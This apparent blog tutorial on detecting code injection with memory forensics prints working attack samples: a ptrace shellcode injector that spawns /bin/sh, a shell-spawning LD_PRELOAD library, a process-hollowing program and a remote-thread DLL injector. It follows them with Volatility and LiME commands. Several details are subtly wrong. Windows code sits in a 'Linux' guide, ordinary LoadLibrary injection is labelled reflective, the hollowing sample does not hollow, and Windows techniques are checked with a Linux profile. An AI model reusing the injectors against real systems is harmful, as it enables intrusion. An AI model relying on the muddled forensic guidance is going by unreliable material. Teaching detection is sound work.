Welcome back, red team operators. Today we’re diving into advanced techniques for detecting code injection on Linux systems. Code injection is a common way for attackers to hide malicious activity and maintain persistence on compromised hosts. By understanding these techniques, we can better defend against them and sharpen our memory forensics skills.
Memory forensics is a critical skill for red teams and penetration testers because it helps uncover artifacts left by advanced adversaries. We’ll walk through real-world scenarios, show detection approaches, and include practical code samples and tool execution demonstrations. Let’s get started.
Code injection overview#
Code injection involves injecting malicious code into the memory space of a running process. Common methods include:
- Injection with shellcode: Injecting custom shellcode into a process.
- Library injection: Loading a malicious shared library into a process.
- Process hollowing: Replacing the legitimate code of a process with malicious code.
- Reflective DLL injection: Injecting and executing a Dynamic Link Library (DLL) without touching the disk. A DLL is a binary containing code and data used by Windows programs.
Attackers use these techniques to execute arbitrary code, evade detection, and maintain persistence on compromised systems. As defenders, it’s critical to understand how these techniques work and how to detect them with memory forensics.
Tools of the trade#
Before we dive into the techniques, let’s talk about the tools we’ll use. Memory forensics requires specialized tools to analyze the contents of RAM. Here are a few of the tools we’ll use:
- Volatility: A powerful memory forensics framework.
- Rekall: Another memory forensics framework, with a strong focus on scalability.
- LiME: A Loadable Kernel Module (LKM) that captures memory dumps from Linux systems. An LKM is a kernel component that can be loaded and unloaded at runtime.
- GDB: The GNU Debugger, useful for low-level analysis of running processes.
GNU’s Not Unix (GNU) is a long-running free software project that produced many foundational tools used in Linux environments.
These tools will help us collect and analyze the memory contents of a compromised system, allowing us to detect signs of code injection.
Injecting shellcode#
This technique injects custom shellcode into a running process. Attackers use it to execute arbitrary code. Let’s walk through an example and a detection workflow.
Example: Injecting shellcode#
Consider a scenario where an attacker injects shellcode into a running process using the ptrace system call. Here’s a simple example of shellcode injection in C:
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char *shellcode = "\x48\x31\xc0\x48\x89\xc2\x48\x89"
"\xc6\x48\x8d\x3d\x04\x00\x00\x00"
"\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xcc";
void inject_shellcode(pid_t pid) {
for (size_t i = 0; i < strlen(shellcode); i++) {
ptrace(PTRACE_POKETEXT, pid, (void *)(0x00400000 + i), *((int *)(shellcode + i)));
}
}
int main(int argc, char *argv[]) {
pid_t pid;
if (argc != 2) {
fprintf(stderr, "Usage: %s <pid>\n", argv[0]);
return 1;
}
pid = atoi(argv[1]);
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
wait(NULL);
inject_shellcode(pid);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return 0;
}
This program attaches to a running process, injects shellcode into its memory space, and then detaches. The shellcode spawns a /bin/sh shell.
Detecting shellcode injection#
To detect shellcode injection, we need to analyze the memory of the target process. Here’s how we can do it using Volatility:
- Capture a memory dump: First, capture a memory dump from the target system. We can use LiME to do this:
insmod lime.ko "path=/root/memory_dump.lime format=lime"
- Analyze the Memory Dump: Next, we load the memory dump into Volatility and analyze it:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_pslist
This command lists all running processes. Find the target process (for example, a web server) and its process identifier (PID). Process identifier (PID) is a numeric identifier the kernel assigns to each running process.
- Dump the Process Memory: We then dump the memory of the target process:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_dump_map -p <pid> -D /root/
- Analyze the Dumped Memory: Finally, we analyze the dumped memory for signs of shellcode. We can use
stringsto search for suspicious strings or use a disassembler likeobjdumpto disassemble the dumped memory:
strings /root/task.1040.0x0000000000400000-0x0000000000600000.dmp | grep -i "bin/sh"
If we find references to /bin/sh or other suspicious strings, it indicates possible shellcode injection.
Library injection#
Library injection involves loading a malicious shared library into a running process. This can be done using the LD_PRELOAD environment variable, the dlopen function, or other methods. Let’s explore an example and how to detect it.
Example: A library injection scenario#
Consider a scenario where an attacker injects a malicious library into a running process using LD_PRELOAD:
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
system("/bin/sh");
}
void __attribute__((destructor)) cleanup() {
system("echo 'Library unloaded'");
}
This library spawns a shell when loaded. The attacker can inject it into a process by setting the LD_PRELOAD environment variable:
LD_PRELOAD=/path/to/malicious.so /path/to/target
Detecting library injection#
To detect library injection, we need to examine the loaded libraries of a process. Here’s how we can do it using Volatility:
Capture a memory dump: As before, capture a memory dump using LiME.
List Loaded Libraries: We use Volatility to list the loaded libraries of the target process:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_list -p <pid>
This command lists all libraries loaded by the target process. We need to look for suspicious or unexpected libraries.
- Analyze Loaded Libraries: We can further analyze the suspicious libraries by dumping and examining their contents:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_dump -p <pid> -b <base_address> -D /root/
We then use tools like strings, objdump, or gdb to analyze the dumped library.
Process hollowing#
Process hollowing involves creating a new process in a suspended state, replacing its memory with malicious code, and then resuming the process. This technique is often used to hide malicious activities under the guise of a legitimate process.
Example: A process hollowing scenario#
Consider a scenario where an attacker uses process hollowing to replace the memory of a legitimate process with malicious code. Here’s a simplified example:
#include <windows.h>
#include <stdio.h>
int main() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT ctx;
LPVOID baseAddr;
char buffer[] = "Hello, Process Hollowing!";
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Create a new process in suspended state
if (!CreateProcess(NULL, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return 1;
}
// Get the address of the entry point
baseAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(buffer), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, baseAddr, buffer, sizeof(buffer), NULL);
// Set the context of the process to point to our buffer
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eip = (DWORD)baseAddr;
SetThreadContext(pi.hThread, &ctx);
// Resume the process
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, INFINITE);
// Clean up
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
This program creates a new process (notepad.exe) in a suspended state, allocates memory in the target process, writes a message to it, and then resumes the process. The target process now executes our malicious code.
Detecting process hollowing#
Detecting process hollowing involves examining the memory regions of a process and looking for anomalies. Here’s how we can do it using Volatility:
Capture a memory dump: As before, capture a memory dump using LiME.
List Memory Regions: We use Volatility to list the memory regions of the target process:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_vma_cache -p <pid>
This command lists all memory regions of the target process. Look for regions with suspicious permissions (for example, executable but not readable) or regions that should not exist for that process.
- Analyze Memory Regions: We can further analyze the suspicious memory regions by dumping and examining their contents:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_dump_map -p <pid> -b <base_address> -D /root/
We then use tools like strings, objdump, or gdb to analyze the dumped memory.
Reflective DLL Injection#
Reflective DLL injection injects a DLL into a process and executes it without touching the disk. Attackers use this technique to evade traditional file-based antivirus detection.
Example: A reflective DLL injection scenario#
Consider a scenario where an attacker injects a DLL into a running process using reflective DLL injection. Here’s a simplified example in C++:
#include <windows.h>
#include <stdio.h>
BOOL InjectDLL(DWORD pid, const char *dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
printf("OpenProcess failed (%d).\n", GetLastError());
return FALSE;
}
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)dllPath, strlen(dllPath) + 1, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteBuf, 0, NULL);
if (!hThread) {
printf("CreateRemoteThread failed (%d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <pid> <dll_path>\n", argv[0]);
return 1;
}
DWORD pid = atoi(argv[1]);
const char *dllPath = argv[2];
if (InjectDLL(pid, dllPath)) {
printf("DLL injected successfully.\n");
} else {
printf("DLL injection failed.\n");
}
return 0;
}
This program injects a DLL into a running process by creating a remote thread that calls LoadLibraryA.
Detecting reflective DLL injection#
Detecting reflective DLL injection involves examining the memory of a process for injected modules. Here’s how we can do it using Volatility:
Capture a memory dump: As before, capture a memory dump using LiME.
List Loaded Modules: We use Volatility to list the loaded modules of the target process:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_list -p <pid>
This command lists all modules loaded by the target process. We need to look for suspicious or unexpected modules.
- Analyze Loaded Modules: We can further analyze the suspicious modules by dumping and examining their contents:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_dump -p <pid> -b <base_address> -D /root/
We then use tools like strings, objdump, or gdb to analyze the dumped module.
Real-world examples#
Let’s look at some real-world examples of code injection techniques used by malware and advanced persistent threats (APTs). In this context, an APT is a well-resourced, persistent adversary.
Example 1: Turla#
Turla is an advanced APT group known for sophisticated malware and code injection techniques. One of their tools, Carbon, uses reflective DLL injection to evade detection. Here, a DLL is a dynamic-link library. Carbon injects a DLL into a legitimate process and uses it to execute its malicious payload.
Example 2: Stuxnet#
Stuxnet, one of the most famous pieces of malware, used process hollowing to hide its malicious activities. It injected code into legitimate processes and executed it, making it difficult to detect and analyze.
Example 3: Flame#
Flame, another sophisticated piece of malware, used shellcode injection to execute its payload. It injected shellcode into running processes, allowing it to carry out its malicious activities without being detected.
Conclusion#
Detecting code injection techniques in Linux requires a strong grasp of memory forensics and the ability to analyze the memory of a compromised system. Tools like Volatility, Rekall, and GDB help uncover traces left by advanced attackers and support incident response.
In this article, we explored code injection techniques including shellcode injection, library injection, process hollowing, and reflective DLL injection. We also looked at real-world examples of malware that uses these techniques and provided practical examples of how to detect them.
Memory forensics is a powerful skill for red teams and penetration testers. By mastering these techniques, you can improve your ability to detect and respond to advanced threats.